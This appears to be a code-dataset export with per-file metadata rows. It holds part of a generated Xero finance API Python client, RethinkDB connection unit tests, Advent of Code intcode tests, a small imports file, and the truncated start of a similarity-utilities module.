"Missing the required parameter `from_date` "
"when calling `get_bank_statement_accounting`"
)
# verify the required parameter 'to_date' is set
if to_date is None:
raise ValueError(
"Missing the required parameter `to_date` "
"when calling `get_bank_statement_accounting`"
)
collection_formats = {}
path_params = {}
query_params = [
("BankAccountID", bank_account_id),
("FromDate", from_date),
("ToDate", to_date),
]
if summary_only is not empty:
query_params.append(("SummaryOnly", summary_only))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/BankStatementsPlus/statements")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="BankStatementAccountingResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_bank_statement_accounting"
)
def get_cash_validation(
self,
xero_tenant_id,
balance_date=empty,
as_at_system_date=empty,
begin_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get cash validation # noqa: E501
OAuth2 scope: finance.cashvalidation.read
Summarizes the total cash position for each account for an org # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str balance_date: date, yyyy-MM-dd If no parameter is provided, the current date will be used. The ‘balance date’ will return transactions based on the accounting date entered by the user. Transactions before the balanceDate will be included. The user has discretion as to which accounting period the transaction relates to. The ‘balance date’ will control the latest maximum date of transactions included in the aggregate numbers. Balance date does not affect the CurrentStatement object, as this will always return the most recent statement before asAtSystemDate (if specified)
:param str as_at_system_date: date, yyyy-MM-dd If no parameter is provided, the current date will be used. The ‘as at’ date will return transactions based on the creation date. It reflects the date the transactions were entered into Xero, not the accounting date. The ‘as at’ date can not be overridden by the user. This can be used to estimate a ‘historical frequency of reconciliation’. The ‘as at’ date will affect the current statement in the response, as any candidate statements created after this date will be filtered out. Thus the current statement returned will be the most recent statement prior to the specified ‘as at’ date. Be aware that neither the begin date, nor the balance date, will affect the current statement. Note; information is only presented when system architecture allows, meaning historical cash validation information will be an estimate. In addition, delete events are not aware of the ‘as at’ functionality in this endpoint, meaning that transactions deleted at the time the API is accessed will be considered to always have been deleted.
:param str begin_date: date, yyyy-MM-dd If no parameter is provided, the aggregate results will be drawn from the user’s total history. The ‘begin date’ will return transactions based on the accounting date entered by the user. Transactions after the beginDate will be included. The user has discretion as to which accounting period the transaction relates to.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: list[CashValidationResponse]
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_cash_validation`"
)
collection_formats = {}
path_params = {}
query_params = []
if balance_date is not empty:
query_params.append(("balanceDate", balance_date))
if as_at_system_date is not empty:
query_params.append(("asAtSystemDate", as_at_system_date))
if begin_date is not empty:
query_params.append(("beginDate", begin_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/CashValidation")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="list[CashValidationResponse]",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(error, self, "get_cash_validation")
def get_financial_statement_balance_sheet(
self,
xero_tenant_id,
balance_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get Balance Sheet report # noqa: E501
OAuth2 scope: finance.statements.read
The balance sheet report is a standard financial report which describes the financial position of an organisation at a point in time. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str balance_date: Specifies the date for balance sheet report. Format yyyy-MM-dd. If no parameter is provided, the current date will be used.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: BalanceSheetResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_financial_statement_balance_sheet`"
)
collection_formats = {}
path_params = {}
query_params = []
if balance_date is not empty:
query_params.append(("balanceDate", balance_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/FinancialStatements/BalanceSheet")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="BalanceSheetResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_financial_statement_balance_sheet"
)
def get_financial_statement_cashflow(
self,
xero_tenant_id,
start_date=empty,
end_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get Cash flow report # noqa: E501
OAuth2 scope: finance.statements.read
The statement of cash flows - direct method, provides the year to date changes in operating, financing and investing cash flow activities for an organisation. Cashflow statement is not available in US region at this stage. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str start_date: Date e.g. yyyy-MM-dd Specifies the start date for cash flow report. If no parameter is provided, the date of 12 months before the end date will be used.
:param str end_date: Date e.g. yyyy-MM-dd Specifies the end date for cash flow report. If no parameter is provided, the current date will be used.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: CashflowResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_financial_statement_cashflow`"
)
collection_formats = {}
path_params = {}
query_params = []
if start_date is not empty:
query_params.append(("startDate", start_date))
if end_date is not empty:
query_params.append(("endDate", end_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/FinancialStatements/Cashflow")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="CashflowResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_financial_statement_cashflow"
)
def get_financial_statement_contacts_expense(
self,
xero_tenant_id,
contact_ids=empty,
include_manual_journals=empty,
start_date=empty,
end_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get expense by contacts report # noqa: E501
OAuth2 scope: finance.statements.read
The expense by contact report provides a year to date profit and loss for customers and suppliers for a given organisation, including detailed contact information. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param list[str] contact_ids: Specifies the customer contacts to be included in the report. If no parameter is provided, all customer contacts will be included
:param bool include_manual_journals: Specifies whether to include the manual journals in the report. If no parameter is provided, manual journals will not be included.
:param str start_date: Date yyyy-MM-dd Specifies the start date for the report. If no parameter is provided, the date of 12 months before the end date will be used. It is recommended to always specify both a start date and end date; While the initial range may be set to 12 months, this may need to be reduced for high volume organisations in order to improve latency.
:param str end_date: Date yyyy-MM-dd Specifies the end date for the report. If no parameter is provided, the current date will be used. It is recommended to always specify both a start date and end date; While the initial range may be set to 12 months, this may need to be reduced for high volume organisations in order to improve latency.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: IncomeByContactResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_financial_statement_contacts_expense`"
)
collection_formats = {
"contactIds": "multi",
}
path_params = {}
query_params = []
if contact_ids is not empty:
query_params.append(("contactIds", contact_ids))
if include_manual_journals is not empty:
query_params.append(("includeManualJournals", include_manual_journals))
if start_date is not empty:
query_params.append(("startDate", start_date))
if end_date is not empty:
query_params.append(("endDate", end_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/FinancialStatements/contacts/expense")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="IncomeByContactResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_financial_statement_contacts_expense"
)
def get_financial_statement_contacts_revenue(
self,
xero_tenant_id,
contact_ids=empty,
include_manual_journals=empty,
start_date=empty,
end_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get revenue by contacts report # noqa: E501
OAuth2 scope: finance.statements.read
The revenue by contact report provides a year to date profit and loss for customers and suppliers for a given organisation, including detailed contact information. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param list[str] contact_ids: Specifies the customer contacts to be included in the report. If no parameter is provided, all customer contacts will be included
:param bool include_manual_journals: Specifies whether to include the manual journals in the report. If no parameter is provided, manual journals will not be included.
:param str start_date: Date yyyy-MM-dd Specifies the start date for the report. If no parameter is provided, the date of 12 months before the end date will be used. It is recommended to always specify both a start date and end date; While the initial range may be set to 12 months, this may need to be reduced for high volume organisations in order to improve latency.
:param str end_date: Date yyyy-MM-dd Specifies the end date for the report. If no parameter is provided, the current date will be used. It is recommended to always specify both a start date and end date; While the initial range may be set to 12 months, this may need to be reduced for high volume organisations in order to improve latency.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: IncomeByContactResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_financial_statement_contacts_revenue`"
)
collection_formats = {
"contactIds": "multi",
}
path_params = {}
query_params = []
if contact_ids is not empty:
query_params.append(("contactIds", contact_ids))
if include_manual_journals is not empty:
query_params.append(("includeManualJournals", include_manual_journals))
if start_date is not empty:
query_params.append(("startDate", start_date))
if end_date is not empty:
query_params.append(("endDate", end_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/FinancialStatements/contacts/revenue")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="IncomeByContactResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_financial_statement_contacts_revenue"
)
def get_financial_statement_profit_and_loss(
self,
xero_tenant_id,
start_date=empty,
end_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get Profit & Loss report # noqa: E501
OAuth2 scope: finance.statements.read
The profit and loss statement is a standard financial report providing detailed year to date income and expense detail for an organisation. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str start_date: Date e.g. yyyy-MM-dd Specifies the start date for profit and loss report If no parameter is provided, the date of 12 months before the end date will be used.
:param str end_date: Date e.g. yyyy-MM-dd Specifies the end date for profit and loss report If no parameter is provided, the current date will be used.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: ProfitAndLossResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_financial_statement_profit_and_loss`"
)
collection_formats = {}
path_params = {}
query_params = []
if start_date is not empty:
query_params.append(("startDate", start_date))
if end_date is not empty:
query_params.append(("endDate", end_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/FinancialStatements/ProfitAndLoss")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="ProfitAndLossResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_financial_statement_profit_and_loss"
)
def get_financial_statement_trial_balance(
self,
xero_tenant_id,
end_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get Trial Balance report # noqa: E501
OAuth2 scope: finance.statements.read
The trial balance provides a detailed list of all accounts of an organisation at a point in time, with revenue and expense items being year to date. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str end_date: Date e.g. yyyy-MM-dd Specifies the end date for trial balance report If no parameter is provided, the current date will be used.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: TrialBalanceResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_financial_statement_trial_balance`"
)
collection_formats = {}
path_params = {}
query_params = []
if end_date is not empty:
query_params.append(("endDate", end_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/FinancialStatements/TrialBalance")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="TrialBalanceResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_financial_statement_trial_balance"
)
| 42.450048
| 1,099
| 0.633026
| 5,047
| 43,766
| 5.232812
| 0.090153
| 0.031806
| 0.038167
| 0.032715
| 0.793525
| 0.769178
| 0.758236
| 0.739341
| 0.733018
| 0.717039
| 0
| 0.004692
| 0.308527
| 43,766
| 1,030
| 1,100
| 42.491262
| 0.867991
| 0.371087
| 0
| 0.749275
| 0
| 0
| 0.129452
| 0.058987
| 0
| 0
| 0
| 0
| 0
| 1
| 0.021739
| false
| 0
| 0.010145
| 0.001449
| 0.057971
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
73fdbd7f56f67315a9aa802623e641594a6f90ca
| 4,939
|
py
|
Python
|
tests/test_net.py
|
tommilligan/rethinkdb-python
|
ecf1dd6a4ccbec2c57dc73aaf711a148095f9be4
|
[
"Apache-2.0"
] | 56
|
2018-10-08T11:41:09.000Z
|
2022-01-28T23:52:34.000Z
|
tests/test_net.py
|
tommilligan/rethinkdb-python
|
ecf1dd6a4ccbec2c57dc73aaf711a148095f9be4
|
[
"Apache-2.0"
] | 166
|
2018-09-07T18:27:05.000Z
|
2022-03-01T21:38:55.000Z
|
tests/test_net.py
|
tommilligan/rethinkdb-python
|
ecf1dd6a4ccbec2c57dc73aaf711a148095f9be4
|
[
"Apache-2.0"
] | 44
|
2018-10-11T17:40:03.000Z
|
2022-03-01T21:48:13.000Z
|
import pytest
from mock import ANY, Mock
from rethinkdb.net import DEFAULT_PORT, DefaultConnection, make_connection
@pytest.mark.unit
class TestMakeConnection(object):
def setup_method(self):
self.reconnect = Mock()
self.conn_type = Mock()
self.conn_type.return_value.reconnect.return_value = self.reconnect
self.host = "myhost"
self.port = 1234
self.db = "mydb"
self.auth_key = None
self.user = "gabor"
self.password = "strongpass"
self.timeout = 20
def test_make_connection(self):
ssl = dict()
_handshake_version = 10
conn = make_connection(
self.conn_type,
host=self.host,
port=self.port,
db=self.db,
auth_key=self.auth_key,
user=self.user,
password=self.password,
timeout=self.timeout,
)
assert conn == self.reconnect
self.conn_type.assert_called_once_with(
self.host,
self.port,
self.db,
self.auth_key,
self.user,
self.password,
self.timeout,
ssl,
_handshake_version,
)
def test_make_connection_db_url(self):
url = "rethinkdb://gabor:strongpass@myhost:1234/mydb?auth_key=mykey&timeout=30"
ssl = dict()
_handshake_version = 10
conn = make_connection(self.conn_type, url=url)
assert conn == self.reconnect
self.conn_type.assert_called_once_with(
self.host,
self.port,
self.db,
"mykey",
self.user,
self.password,
30,
ssl,
_handshake_version,
)
def test_make_connection_no_host(self):
conn = make_connection(
self.conn_type,
port=self.port,
db=self.db,
auth_key=self.auth_key,
user=self.user,
password=self.password,
timeout=self.timeout,
)
assert conn == self.reconnect
self.conn_type.assert_called_once_with(
"localhost",
self.port,
self.db,
self.auth_key,
self.user,
self.password,
self.timeout,
ANY,
ANY,
)
def test_make_connection_no_port(self):
conn = make_connection(
self.conn_type,
host=self.host,
db=self.db,
auth_key=self.auth_key,
user=self.user,
password=self.password,
timeout=self.timeout,
)
assert conn == self.reconnect
self.conn_type.assert_called_once_with(
self.host,
DEFAULT_PORT,
self.db,
self.auth_key,
self.user,
self.password,
self.timeout,
ANY,
ANY,
)
def test_make_connection_no_user(self):
conn = make_connection(
self.conn_type,
host=self.host,
port=self.port,
db=self.db,
auth_key=self.auth_key,
password=self.password,
timeout=self.timeout,
)
assert conn == self.reconnect
self.conn_type.assert_called_once_with(
self.host,
self.port,
self.db,
self.auth_key,
"admin",
self.password,
self.timeout,
ANY,
ANY,
)
def test_make_connection_with_ssl(self):
ssl = dict()
conn = make_connection(
self.conn_type,
host=self.host,
port=self.port,
db=self.db,
auth_key=self.auth_key,
user=self.user,
password=self.password,
timeout=self.timeout,
ssl=ssl,
)
assert conn == self.reconnect
self.conn_type.assert_called_once_with(
self.host,
self.port,
self.db,
self.auth_key,
self.user,
self.password,
self.timeout,
ssl,
ANY,
)
def test_make_connection_different_handshake_version(self):
conn = make_connection(
self.conn_type,
host=self.host,
port=self.port,
db=self.db,
auth_key=self.auth_key,
user=self.user,
password=self.password,
timeout=self.timeout,
_handshake_version=20,
)
assert conn == self.reconnect
self.conn_type.assert_called_once_with(
self.host,
self.port,
self.db,
self.auth_key,
self.user,
self.password,
self.timeout,
ANY,
20,
)
| 25.328205
| 87
| 0.504556
| 508
| 4,939
| 4.694882
| 0.112205
| 0.067086
| 0.080503
| 0.061635
| 0.758071
| 0.74717
| 0.74717
| 0.700629
| 0.700629
| 0.700629
| 0
| 0.007571
| 0.411622
| 4,939
| 194
| 88
| 25.458763
| 0.813145
| 0
| 0
| 0.734104
| 0
| 0
| 0.023284
| 0.014375
| 0
| 0
| 0
| 0
| 0.080925
| 1
| 0.046243
| false
| 0.086705
| 0.017341
| 0
| 0.069364
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
fba706d62a29afe9fe293b39513b9f889dfc2e5c
| 69
|
py
|
Python
|
handlers/__init__.py
|
psxzz/dls-nst-bot
|
4886f3520e78cf657bb065647f8ae87d160523d5
|
[
"MIT"
] | null | null | null |
handlers/__init__.py
|
psxzz/dls-nst-bot
|
4886f3520e78cf657bb065647f8ae87d160523d5
|
[
"MIT"
] | null | null | null |
handlers/__init__.py
|
psxzz/dls-nst-bot
|
4886f3520e78cf657bb065647f8ae87d160523d5
|
[
"MIT"
] | null | null | null |
from handlers import messages
from handlers import style_transfering
| 23
| 38
| 0.884058
| 9
| 69
| 6.666667
| 0.666667
| 0.4
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115942
| 69
| 2
| 39
| 34.5
| 0.983607
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
836d92f6d13ae4cfc756a964ca64e4fee3f2cf66
| 3,980
|
py
|
Python
|
2019/05/test_common.py
|
SabatierBoris/adventofcode
|
19849a209e4e6d9d73ef5a5458c1831061a3ea42
|
[
"MIT"
] | null | null | null |
2019/05/test_common.py
|
SabatierBoris/adventofcode
|
19849a209e4e6d9d73ef5a5458c1831061a3ea42
|
[
"MIT"
] | null | null | null |
2019/05/test_common.py
|
SabatierBoris/adventofcode
|
19849a209e4e6d9d73ef5a5458c1831061a3ea42
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
import unittest
from common import execute_add, execute_mult, get_mode
class TestGetMode(unittest.TestCase):
def test_default(self):
mode = get_mode(1, 3)
self.assertEqual(mode, [0, 0, 0])
def test_setted(self):
mode = get_mode(1001, 3)
self.assertEqual(mode, [0, 1, 0])
def test_full_setted(self):
mode = get_mode(11101, 3)
self.assertEqual(mode, [1, 1, 1])
class TestExecuteAdd(unittest.TestCase):
def test_simple(self):
memory = [1, 4, 5, 6, 1, 1, 0]
pos = 0
memory, pos, cont = execute_add(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [1, 4, 5, 6, 1, 1, 2])
def test_simple(self):
memory = [1, 4, 5, 6, 1, 1, 0]
pos = 0
memory, pos, cont = execute_add(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [1, 4, 5, 6, 1, 1, 2])
def test_inplace(self):
memory = [1, 0, 0, 0, 99]
pos = 0
memory, pos, cont = execute_add(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [2, 0, 0, 0, 99])
def test_out_of_range(self):
memory = [1, 0, 0, 100, 99]
pos = 0
with self.assertRaises(IndexError):
execute_add(memory, pos)
def test_wrong_operator(self):
memory = [2, 0, 0, 0, 99]
pos = 0
with self.assertRaises(AssertionError):
execute_add(memory, pos)
def test_immediate_one(self):
memory = [1001, 0, 4, 0, 99]
pos = 0
memory, pos, cont = execute_add(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [1005, 0, 4, 0, 99])
def test_immediate_two(self):
memory = [1101, 5, 4, 0, 99]
pos = 0
memory, pos, cont = execute_add(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [9, 5, 4, 0, 99])
def test_immediate_result_error(self):
memory = [10001, 0, 0, 0, 99]
pos = 0
with self.assertRaises(AssertionError):
execute_add(memory, pos)
class TestExecuteMult(unittest.TestCase):
def test_simple(self):
memory = [2, 4, 5, 6, 1, 1, 0]
pos = 0
memory, pos, cont = execute_mult(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [2, 4, 5, 6, 1, 1, 1])
def test_inplace(self):
memory = [2, 0, 0, 0, 99]
pos = 0
memory, pos, cont = execute_mult(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [4, 0, 0, 0, 99])
def test_out_of_range(self):
memory = [2, 0, 0, 100, 99]
pos = 0
with self.assertRaises(IndexError):
execute_mult(memory, pos)
def test_wrong_operator(self):
memory = [1, 0, 0, 0, 99]
pos = 0
with self.assertRaises(AssertionError):
execute_mult(memory, pos)
def test_immediate_one(self):
memory = [1002, 0, 4, 0, 99]
pos = 0
memory, pos, cont = execute_mult(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [4008, 0, 4, 0, 99])
def test_immediate_two(self):
memory = [1102, 5, 4, 0, 99]
pos = 0
memory, pos, cont = execute_mult(memory, pos)
self.assertEqual(pos, 4)
self.assertEqual(cont, True)
self.assertEqual(memory, [20, 5, 4, 0, 99])
def test_immediate_result_error(self):
memory = [10002, 0, 0, 0, 99]
pos = 0
with self.assertRaises(AssertionError):
execute_mult(memory, pos)
if __name__ == "__main__":
unittest.main()
| 28.84058
| 55
| 0.568593
| 539
| 3,980
| 4.083488
| 0.12616
| 0.204453
| 0.032712
| 0.031804
| 0.868242
| 0.819627
| 0.816447
| 0.788732
| 0.736029
| 0.716038
| 0
| 0.08231
| 0.30402
| 3,980
| 137
| 56
| 29.051095
| 0.712274
| 0.005276
| 0
| 0.706422
| 0
| 0
| 0.002021
| 0
| 0
| 0
| 0
| 0
| 0.330275
| 1
| 0.165138
| false
| 0
| 0.018349
| 0
| 0.211009
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8385f3f0cc322b91e3b90ec7108b4a5956591cfe
| 10,054
|
py
|
Python
|
fkausality/utils.py
|
AlanGanem/kausality
|
2956f29bf60ca5f6ea54662d8b9af50c8f3aea37
|
[
"Apache-2.0"
] | null | null | null |
fkausality/utils.py
|
AlanGanem/kausality
|
2956f29bf60ca5f6ea54662d8b9af50c8f3aea37
|
[
"Apache-2.0"
] | null | null | null |
fkausality/utils.py
|
AlanGanem/kausality
|
2956f29bf60ca5f6ea54662d8b9af50c8f3aea37
|
[
"Apache-2.0"
] | null | null | null |
# AUTOGENERATED! DO NOT EDIT! File to edit: notebooks_dev/utils.ipynb (unless otherwise specified).
__all__ = ['parallel_apply', 'get_default_args', 'inherit_docstrings', 'make_batches', 'sim_matrix_to_idx_and_score',
'cosine_similarity', 'cosine_distance', 'similarity_plot', 'sparsify', 'hstack', 'vstack', 'stack',
'RobustEncoder', 'parallel_apply', 'get_default_args', 'inherit_docstrings', 'make_batches',
'sim_matrix_to_idx_and_score', 'cosine_similarity', 'cosine_distance', 'similarity_plot', 'sparsify',
'hstack', 'vstack', 'stack', 'RobustEncoder']
# Cell
from warnings import warn
from inspect import getmembers, isfunction
import inspect
import numpy as np
from scipy import sparse
from sklearn.base import BaseEstimator,TransformerMixin
from sklearn.preprocessing import OneHotEncoder, OrdinalEncoder
from joblib import Parallel, delayed, parallel_backend
try:
from sparse_dot_topn import awesome_cossim_topn
except Exception as e:
warn(f'could not load sparse_dot_topn: {e}')
# Cell
#util funcs and classes
def parallel_apply(func, iterator, n_jobs = -1, backend = 'loky', **func_kwargs):
with parallel_backend(backend, n_jobs):
results = Parallel()(delayed(func)(**func_kwargs) for i in iterator)
return results
def get_default_args(func):
'''THANKS TO mgilson at https://stackoverflow.com/questions/12627118/get-a-function-arguments-default-value'''
signature = inspect.signature(func)
return {
k: v.default
for k, v in signature.parameters.items()
if v.default is not inspect.Parameter.empty
}
def inherit_docstrings(cls):
'''
thanks to Martijn Pieters♦ at https://stackoverflow.com/questions/17393176/python-3-method-docstring-inheritance-without-breaking-decorators-or-violating
'''
for name, func in getmembers(cls, isfunction):
if func.__doc__: continue
for parent in cls.__mro__[1:]:
if hasattr(parent, name):
func.__doc__ = getattr(parent, name).__doc__
return cls
# Cell
#TODO: implement minkowski distance with sparse_dot_topn
#TODO: implement RBF distance
#export
def make_batches(arr, batch_size = 100):
'''make batches for batch query'''
#lst = [i for i in arr]
if arr.shape[0] < batch_size:
batches = [arr]
else:
n_bs = arr.shape[0] // batch_size
last_batch = arr.shape[0] - batch_size * n_bs
batches = []
i = 0
for i in range(n_bs):
yield arr[i * batch_size:(i + 1) * batch_size]
if last_batch:
yield arr[(i + 1) * batch_size:]
def sim_matrix_to_idx_and_score(sim_matrix):
'''
